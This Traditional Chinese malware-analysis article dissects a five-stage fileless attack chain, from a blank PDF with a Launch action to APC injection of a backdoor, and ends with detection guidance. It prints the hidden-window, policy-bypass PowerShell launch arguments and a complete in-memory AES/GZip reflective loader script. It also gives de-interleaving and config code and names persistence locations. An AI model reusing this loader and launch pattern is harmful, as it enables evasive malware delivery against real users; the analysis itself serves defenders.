PDF 引爆無檔案攻擊!
摘要
當惡意程式的每個階段都只存在足以解密並啟動下一階段的短暫時間,Memory-resident malware 就能成功運作。這篇研究剖析一條由五個階段組成的攻擊鏈,從外觀看似空白的 PDF 開始,最終在受信任的 Windows 程序中執行 Native Backdoor [1] 。研究將檢視每一層如何隱藏下一個階段、哪些設計選擇使靜態掃描失去效果,以及防禦者仍然能夠觀察到哪些行為。目標是將這條攻擊鏈轉化為具體的偵測邏輯,而不只是羅列各種指標。
1. 攻擊鏈概觀
這條攻擊鏈的運作方式就像層層嵌套的容器。PDF 會啟動 PowerShell,PowerShell 解密並以反射方式載入第一個 .NET 組件,該組件再從交錯排列的位元組重建第二個組件,最後由第二個組件取得並注入最終 Payload [1] 。任何中間階段的可執行檔都不會以明文形式寫入磁碟。這類 Fileless 攻擊技術將防禦重點從檔案掃描轉移至行為監控,因為真正重要的 Artifact 都存在於程序記憶體中 [2] 。圖 1 彙整了整個控制流程。
圖 1. 五階段攻擊鏈的控制流程。
2. 觸發層:不會顯示任何內容的文件
PDF 只會呈現一個空白字元,因此閱讀器沒有任何實際內容可以顯示。真正的內容藏在文件的物件結構中:文件目錄參照一個 open-action 物件,而該物件定義了一個指向 Windows shell 的 Launch 動作 [1] 。因此,當使用者接受閱讀器的確認提示後,閱讀器在解析檔案時就會立即執行 PowerShell [1] 。傳入的參數會隱藏視窗、略過設定檔載入、停用互動提示、繞過執行原則,並傳入 Base64 script,藉此隱藏後續階段的細節,避免被字串掃描工具發現 [1] 。
8 0 obj % Object number 8, the target of /OpenAction 8 0 R << /Type /Action /S /Launch /Win % Dictionary: a Launch action using the Windows-specific block << /F (powershell.exe) % /F: the program the reader will start /P (-W h -nop -NOni -ep BYPaSS -EncodedCommand ... % /P: arguments; hidden window, no profile, non-interactive, policy bypass, Base64 script (truncated)
3. PowerShell 中的記憶體內分階段載入
解碼後的 script 包含 AES key、IV,以及封裝在 PDF 中的大型密文。它使用 CBC 模式與 PKCS7 padding 進行解密,再透過 GZip stream 解壓縮結果,最後直接從位元組陣列將資料載入為 .NET 組件 [1] 。由於該組件從未具有檔案 Path,因此傳統以檔案寫入為觸發條件的防毒機制不會啟動,唯一較明確的檢查時機就是執行載入呼叫的瞬間 [1] 。只要替換加密資料區塊,相同的 script 就能傳送任何 .NET Payload [1] 。
- $yc4KQe1='LfBqaGHMQsA85Ha3pbu7Vg==' # AES key, stored as Base64 text
- $1k9vlx='+9aAse9v9VKdKbioQxwNxg==' # AES initialization vector, Base64 text
- $Hx39=[Convert]::FromBase64String($f9Pn) # Decode the large ciphertext string ($f9Pn is defined earlier in the script) into raw bytes
- $kOkdy=New-Object Security.Cryptography.AesManaged # Create an AES engine object
- $kOkdy.Mode=[Security.Cryptography.CipherMode]::CBC # Select cipher block chaining mode
- $kOkdy.Padding=[Security.Cryptography.PaddingMode]::PKCS7 # Select PKCS7 padding for the last block
- $kOkdy.Key=[Convert]::FromBase64String($yc4KQe1) # Load the decoded key into the engine
- $kOkdy.IV=[Convert]::FromBase64String($1k9vlx) # Load the decoded IV into the engine
- $53gQ=$kOkdy.CreateDecryptor().TransformFinalBlock($Hx39,0,$Hx39.Length) # Decrypt the whole ciphertext in one call
- $9BzrPhm=New-Object IO.MemoryStream(,$53gQ) # Wrap decrypted bytes in a readable memory stream
- $yTu0eb=New-Object IO.MemoryStream # Create an empty memory stream to receive decompressed output
- $gz=New-Object IO.Compression.GZipStream($9BzrPhm,[IO.Compression.CompressionMode]::Decompress) # Open a GZip decompressor over the decrypted stream
- $bf=New-Object byte[] 4096 # Allocate a 4 KB working buffer
- while(($n=$gz.Read($bf,0,$bf.Length))-gt 0) { $yTu0eb.Write($bf,0,$n) } # Loop: read a chunk, write it to the output stream until the data ends
- [Reflection.Assembly]::Load($yTu0eb.ToArray()).EntryPoint.Invoke($null,(,[string[]]@())) # Load the bytes as a .NET assembly in memory and call its Main method with no arguments
4. 解除交錯排列:移除可執行檔特徵標記
第一個組件會透過 XOR 運算,將 hardcoded 陣列與 seed 結合,再使用 SHA256 雜湊結果,以衍生出 RC4 key,因此 key 不會以明文形式出現 [1] 。即使完成 RC4 解密,緩衝區仍然不是有效的可執行檔。攻擊者以三比一的比例混合真正的位元組與垃圾資料,直到 Loader 取出每第三個位元組之前,熟悉的「MZ」header 都會遭到破壞 [1] 。重建完成後,Loader 會檢查前兩個位元組是否分別等於 77 和 90,確認後才載入新的組件 [1] 。這是一種簡單但有效的方法,可以避開那些在解密後的緩衝區中搜尋 PE signature 的記憶體掃描工具。
- while (num63 < array44.Length && num64 < num62) // Continue while source and destination positions are both in range
- { // Start of loop body
- array50[num64++] = array44[num63]; // Copy one real byte into the output array, then advance the output index
- num63 += 3; // Jump three positions: skip two junk bytes for each real byte
- } // End of loop; array50 now holds the rebuilt assembly
5. Telemetry 遮蔽與 Early Bird injection
第二個組件會在任何容易引起注意的行為發生之前先執行動作。它會呼叫 routines,將
ntdll.dll
中的 ETW write function Patch 成 no-operation stub,並使 hot-patch 機制失效,讓後續的注入事件不會回報給端點感測器
[1]
。接著,它會從 URL 下載最終 Payload,而該 URL 本身也經過 RC4 加密,並輪流使用三種 .NET 網路類別,以提高連線的穩定性
[1]
。程式會透過型別檢查決定執行路徑:如果是 .NET Payload,就以反射方式載入;如果是 Native Payload,則透過建立暫停狀態的程序、寫入記憶體,以及使用
NtQueueApcThread
排入 APC 的方式,將 Payload 放入隨機選擇的 Host,例如
msbuild.exe
或
svchost.exe
[1]
。
與一般注入技術分類進行比較,可以更清楚理解這種設計。APC injection 會將工作排入既有的執行緒,而傳統的 hollowing 則會啟動自己的暫停狀態程序,讓操作者從第一條指令開始就能掌控執行流程 [3] 。這條攻擊鏈結合了兩種方式:它自行控制暫停狀態的 Host,但實際執行卻是透過 APC,而不是恢復經過修改的執行緒 Context [1] [3] 。這項差異對偵測非常重要,因為只針對 Context 修改 API 建立的規則將無法發現這種行為。
6. Payload 設定與行為旗標
Backdoor 會從名為
Caffee_Config
的 resource,或是自身記憶體中的 marker string 讀取設定
[1]
。其資料結構是在兩個 flag 位元組之後,依序排列的一組字串;樣本會將主要與備援安裝 Path、檔案名稱及活動資訊放在固定的偏移位置
[1]
。
- struct MalwareConfig { // Parsed configuration block
- DWORD ConfigSize; // Total size of the configuration block
- BYTE BehaviorFlag_1; // Bitmask that alters RAT behavior
- BYTE GeoFenceFlag; // 1 = check the victim's region code, 0 = ignore
- char C2_Address_Port[]; // Primary command server address and port
- char UnusedString[]; // Unused or deprecated by the author
- char MasqueradeDllName[]; // DLL name used for masquerading
- char MutexName[]; // Name of the single-instance mutex
- char BaseDirEnvVar[]; // Install base such as %APPDATA% or %TEMP%
- char InstallSubDir[]; // Subdirectory inside the base directory
- char PayloadFileName[]; // Installed payload file name
- char ScheduledTaskName[]; // Task name used for persistence
- char CampaignInfo[]; // Campaign ID, start date, end date
- char FallbackC2[]; // Fallback command server address
- char FallbackInstallPath[]; // Fallback base directory
- char FallbackSubDir[]; // Fallback subdirectory
- char StartupPayloadName[]; // File name for Startup-folder persistence
- }; // End of structure
Flag 位元會在執行階段選擇不同的行為。Bit 0x0001 會建立 mutex,確保同一時間只有一個 instance 執行;其他位元則會啟用 registry Run entries、以最高可用權限執行的排程工作、隱藏與系統檔案屬性,以及用於 DLL sideloading 的 DLL 放置方式 [1] 。持續性機制的範圍更加廣泛,還會使用 user-init 登入 script 變數、預設使用者設定檔 hive 污染、可在裝置重設後繼續存在的 provisioning package,以及安裝完成 script [1] 。其中很少有位置會受到預設監控,因此值得針對這些位置進行稽核。
- if ( (ModifyRATBehaviorFlag_1 & 1) != 0 && aMutexName[0] ) // Run only if bit 0x0001 is set and a mutex name exists
- { // Start of the single-instance check
- MutexA = CreateMutexA(0LL, 1, aMutexName); // Create (or open) the named mutex and request ownership
- if ( !MutexA ) // If creation failed completely
- goto LABEL_33; // Jump to the exit path
- if ( GetLastError() == ERROR_ALREADY_EXISTS ) // If the mutex already existed, another copy is running
- { // Start of duplicate-instance handling
- CloseHandle(MutexA); // Release the handle to the existing mutex
- LABEL_33: // Shared exit label
- ExitProcess(0); // Terminate this duplicate instance silently
- } // End of duplicate-instance handling
- } // End of the single-instance check (closing brace added for completeness)
7. 偵測工程
每個階段都會留下可供觀察的行為線索。文件閱讀器幾乎不應該啟動 PowerShell,因此封鎖閱讀器建立子程序的行為,就能移除攻擊鏈的第一個步驟
[1]
。Constrained Language Mode 與 script block logging 則能揭露反射操作以及解碼後的 script 內容
[1]
。程序關聯規則應該標記由 script engine 啟動
msbuild.exe
,以及由異常 Parent Process 建立的
svchost.exe
[1]
。最後,Early Bird 模式可以透過以下行為序列進行偵測:建立暫停狀態的程序、跨程序寫入、呼叫 APC queue API,以及恢復執行緒
[1]
。由於 ETW 已遭到 Patch,防禦者也應確認關鍵 Host 的 Telemetry 是否曾在不知情的情況下停止回報。
8. 結論
這條攻擊鏈的任何單一組成技術都不算新穎,真正的威脅來自各項技術的組合。加密、壓縮、位元組交錯排列、Telemetry Patch,以及以 APC 為基礎的 hollowing,各自針對不同類型的防禦機制進行規避,而多種持續性選項更能讓攻擊在一般清除作業後繼續存在 [1] 。因此,防禦工作的關鍵在於跨越不同階段關聯多個微弱訊號,而不是等待單一高可信度警示出現。